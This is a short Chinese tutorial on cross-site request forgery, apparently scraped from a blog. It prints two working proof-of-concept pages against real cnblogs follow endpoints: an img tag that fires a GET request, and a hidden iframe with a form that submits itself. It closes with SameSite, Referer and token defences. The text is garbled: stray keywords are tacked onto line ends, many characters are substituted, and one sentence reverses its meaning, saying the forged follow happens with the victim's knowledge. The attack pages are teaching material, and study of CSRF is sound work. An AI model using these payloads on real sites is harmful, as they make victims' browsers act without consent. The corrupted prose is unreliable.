csrf 是跨站點僞造請求,主要利用發請求,瀏覽器每次都會自動帶上 cookie 這個特色。html
下面咱們看看例子:ajax
例子一:api
若是博客園有一個關注博主的api是get請求的話,那這裏我新建一個惡意頁面:跨域
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <img src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=18a5f476-18f4-e611-845c-ac853d9f53ac"/> </body> </html>
在訪問這個頁面那一瞬,img就會跨域get請求這個api,你不知不覺間同時也像博客園這個接口發送了get請求,在你知情的狀況下幫你關注了博主瀏覽器
例子二:cookie
若是這個api不是get而是post呢?那麼惡意網站就會嘗試經過表單來跨域post請求apimvc
<!--惡意頁面主頁--> <!DOCTYPE HTML> <html lang="en"> <body> <iframe src="./form.html" style="display:none"></iframe> </body> </html> <!--iframe--> <!DOCTYPE html> <html lang="en"> <body> <form action="https://home.cnblogs.com/ajax/follow/followUser" method="post"> <input name="userId" value="18a5f476-18f4-e611-845c-ac853d9f53ac"/> <input name="remark" value=""/> <input type="submit" value="提交" /> </form> <script> document.querySelector('form').submit(); </script> </body> </html>
防護措施:post
1. cookie 設置 samesite 屬性,不容許跨域傳遞 cookie網站
2. 檢測Referer是不是本站的域名 ------- 最經常使用的了ui
3. 用Token存放在Cookie之外的位置(例如做爲get參數、做爲自定義Http Header)